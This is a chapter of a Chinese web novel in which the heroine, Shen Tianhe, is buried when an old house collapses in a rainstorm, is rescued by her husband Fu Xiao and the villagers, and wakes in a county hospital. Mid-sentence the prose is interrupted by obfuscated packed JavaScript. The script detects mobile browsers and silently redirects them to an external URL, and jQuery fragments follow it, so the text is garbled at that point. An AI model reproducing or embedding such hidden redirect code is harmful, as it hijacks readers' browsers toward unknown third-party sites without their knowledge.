这几日,天气一天比一天热。
沈添禾又去了一趟县城,买了一些粮食和猪肉。
在没人经过的小巷子里,她从空间里取出一只已经宰杀过的老母鸡,打算炖一锅菌菇鸡汤。
陈叔见她东西有些多,还是把她送到家门口。
赶着牛车回去时,他扬声说:“今儿又要下雨咯!”
沈添禾抬头望天,的确如此。
天阴沉沉的,云层聚集在一起,像是填充了大量破旧的棉絮,灰蒙蒙一片。
鸡汤炖好,沈添禾刚把锅端开,雨滴开始落下来。
几分钟后,雨点变得密集,端着碗在外面吃饭的村民们狼狈地往家里跑。
朝彦朝希在院子里也被雨淋到了,匆匆跑进厨房。
沈添禾看到朝希衣服头发都被淋湿,舀了一桶热水,提到浴室里。
“朝希,你去拿衣服洗澡。朝彦,你去烧热水,等朝希洗完了你就洗。”
两个小孩点点头,立刻跑去拿衣服和烧水,十分听话。
朝彦朝希洗完澡时,沈添禾已经把青椒肉丝和肉末茄子端上了桌。
刚好傅骁也下工回来,四个人便拿着碗筷围在了桌边。
沈添禾炒菜舍得放油,做的茄子比肉还好吃,朝彦朝希都很喜欢。
上次沈添禾说她不爱吃鸡腿,现在也一样,两根鸡腿都被她分给了俩小孩。
“谢谢大嫂,大嫂最好了!”朝彦高兴地道谢。
朝希抿着小嘴,把两个鸡翅都夹到沈添禾碗里。
沈添禾:“谢谢朝希,你自己也多吃点肉。”
朝彦跑去厨房拿了三个干净的碗,给大嫂、妹妹和自己分别盛了一碗鸡汤。
他喝了一口之后,还咧开嘴冲着沈添禾笑,“大嫂,你炖的鸡汤真好喝。”
孤零零地坐在一边自己夹菜自己盛汤的傅骁:“……”
房子是他的,弟弟妹妹是他的,可他怎么感觉自己坐在这里像个外人?
夏天本就是多雨的季节,大家以为这只是一场寻常的雨。
然而,入夜之后,雨越下越大,弯曲的闪电劈开漆黑的夜幕。
“轰——”
不知道是哪个方向的山坡塌了。
赵福才已经退伍很久了,可他的身体还保持着当兵时的警觉性。
此时,他猛然睁开眼睛,起身穿衣,十几秒的功夫就开门出去。
“怀仁怀平,快跟我走!”
赵怀仁和赵怀平动作迅速,跟着赵福才的脚步出了院门。
“轰——”
又是一声巨响。
赵怀平反应快,抬脚就往声音传来的方向跑。
村里其他住户也听到了动静,有些人披着蓑衣出来查看情况。
赵福才拉了几个年轻壮汉,“你们几个快跟我走,听这声音是傅骁家那边出事了!”
*
沈添禾睡得很沉,雷雨交加的声响并没有影响到她的睡眠。
倏然,她眉头动了动,半梦半醒间,似乎听见了粗壮木头摩擦而成的碰撞声。
声音沉闷,如同急促的鼓点。
这是什么声音?
沈添禾感觉到了危险来临,心尖一阵发颤,忽然清醒过来。
她一睁眼,映入眼帘的就是直直往下掉的横梁。
来不及躲避,沈添禾只能蜷缩起身体,双手护住脑袋。
大腿被横梁砸中,剧痛来袭,她痛呼出声,试着将腿往外拔。疼痛加剧,被压住的那一条腿却纹丝不动。
沈添禾呼出一口气,明白了自己的处境。
这间老屋塌了,她被这些屋子上方的横梁压住。
腿上、肩上、手臂,没有一处不疼。
沈添禾身上冷汗直冒,喊了两声“救命”。然而,她的话音却消散在如瀑大雨当中。
就在此刻,残余的墙面再次倒塌。
沈添禾躲闪不及,一块土砖砸中了她的脑袋。
晕眩感传来,顷刻间,她失去了意识。
院子里,傅骁刚把朝彦朝希放下来,赵福才就带着人冲进来。
“大嫂,大嫂还在里面。”朝彦被吓到了,指着已经成了一片废墟的老屋哇哇大哭。
赵福才没有废话,直接一挥手:“快去救人!”
傅骁顾不上安抚弟弟妹妹,果断转身冲向沈添禾睡的那间屋子。
跨过七零八落的横梁,踩着湿淋淋的土砖,傅骁走到了沈添禾身旁。
她被压在一根粗大的横梁下面,浑身是血,昏迷不醒。不知道伤处在哪里,或者是全身都有伤。
赵怀仁和赵怀平也过来了,蹲下来和傅骁一起把横梁抬走。
傅骁将沈添禾抱起来,她缩在他怀里,脑袋往后仰,雪白的颈项上沾着土砖融掉的泥和一抹刺目的鲜血。
只看了一眼,傅骁就撇开了头,抱着她往外走。
院子里站满了人,看到不省人事的沈添禾,七嘴八舌地讨论开了。
“天呐,沈添禾被砸成这样,看着好严重!”
“快把她送到县医院去,拖一会儿可能会出大事啊!”
“用牛车送她去,别耽搁了。”
赵福才早就让人去通知了陈叔,这会儿陈叔已经驾着牛车过来了,正在院子外面等着呢。
云婶子道:“朝彦朝希今晚就在我家睡吧,孩子年纪太小,跟着去医院还需要大人分心照看。”
杨华艳也匆匆赶来,“我也去跟你们医院,必要时候给你们搭把手。”
傅骁小心翼翼地将沈添禾放在铺满稻草的车板上,回过头来:“各位叔婶,兄弟,谢谢你们。”
赵福才道:“客套话就别说了,救人要紧!”
到了县医院,牛车刚停稳,傅骁就伸手环住沈添禾的后背和腘窝,将她从车上抱起来,快步冲进医院。
“医生,求你们救救我媳妇儿!”
他过于着急,沈添禾又形容狼狈。医生护士吓了一跳,以为他怀里的姑娘情况很不好,立刻接过患者,推进去抢救。
傅骁出来时只顾着担心沈添禾的伤势,完全没有平日里的沉稳,忘了回屋把钱找出来。
需要缴费时,是杨华艳拿的钱。
“华艳婶,这钱是我找您借的,等添禾出来了我就回去拿钱还给您。”
杨华艳却不在意这事,傅骁这孩子,为人处事最有分寸。
她要是信不过,压根儿就不会跟着过来。
“钱的事咱们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13883355|139887||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
回头再说,你先把添禾照顾好。”
约莫过了两个小时,为沈添禾治伤的章医生才出来。
“她脑袋的伤比较严重,有脑震荡的症状,暂时没有太大的危险,但是后续可能会有后遗症。腿上的伤也要仔细养着,软组织损伤,近期不能下地行走,更不能干活。左腿被钉子刺伤,出血较多,需要打一针破伤风疫苗。此外她的左边手臂有淤痕,不能让她提重物。”
这一连串医学术语,一会儿“脑震荡”一会儿“破伤风”,而且还有后遗症,听得傅骁一颗心直往下沉。
杨华艳也怔住了,添禾这伤听起来很严重啊,以后可怎么办?
然而,章医生刚刚还没说完呢。
“除了身上的伤口之外,她的脸上也被划了一条很深的口子,留疤的概率很大。”
将情况说明,章医生观察了一下傅骁的神情。
他没有露出嫌弃的表情,也没有责怪患者干不了活。
“医生,请您用最好的药给她治伤。不管是身上还是脸上,我希望她能恢复得好一些。”
行医这么多年,章医生头一次看到这样的患者家属。准确来说,是头一次看到这样的的患者丈夫。
明事理,处事大方,爱护妻子。
章医生与妻子相濡以沫几十年,也是个爱妻之人,平时就很看不惯那些本事不大,脾气不小的男人。
如今看到傅骁这样的家属,不由得对他露出和气的笑容,“这个你放心,我肯定会尽最大的努力给她治疗。”
章医生走后,杨华艳一脸担忧地对傅骁说:“傅骁啊,添禾身上到处都是伤,你可不能在这个时候对她有什么不好的心思。”
她是女人,自然明白漂亮的脸蛋对于女人来说有多重要。
更何况,沈添禾长得那么漂亮,脸上有一点瑕疵都会显得很突兀。
杨华艳很担心沈添禾恢复得不好,也担心傅骁嫌弃她脸上的伤。
傅骁却说:“华艳婶,她在我眼里怎么样都是好看的。”
他嘲弄地扯了扯唇,“她受伤也是因为我没有尽到丈夫的责任,没有保护好她。”
见他这样,杨华艳倒是不好再说什么。只是在心里感叹,傅骁这孩子心性是真的不错,她家那两个臭小子都比不上他。
*
阳光透过窗子照进平整的地面,睡在靠窗病床的沈添禾睫毛颤了两下,缓缓掀开眼皮。
她四处看了看,知道自己现在躺在医院病床上,心里长吁一口气。
随即她便难受得手指抽动。胃里空荡荡,昨晚喝的鸡汤早已消化得一点不剩。身上到处都疼,像是被粗大的横梁从头到脚碾过一遍。
沈添禾望着天花板,无语凝噎。
她也太倒霉了,刚穿进来时脑袋受伤,现在倒好,全身都被房梁砸伤。
沈添禾正暗自吐槽自己的运气,趴在病床边睡觉的傅骁被她手指抽搐的动静惊醒。
看到沈添禾已经醒了,傅骁估计她这会儿应该很饿,便问她:“你想吃点什么?”
想吃炸鸡、卤鸭脖、柠檬鸡爪、酸辣藕片……
越想越馋,沈添禾连忙打住,说:“喝点粥就行。”
傅骁点头,提着一个小袋子出去了。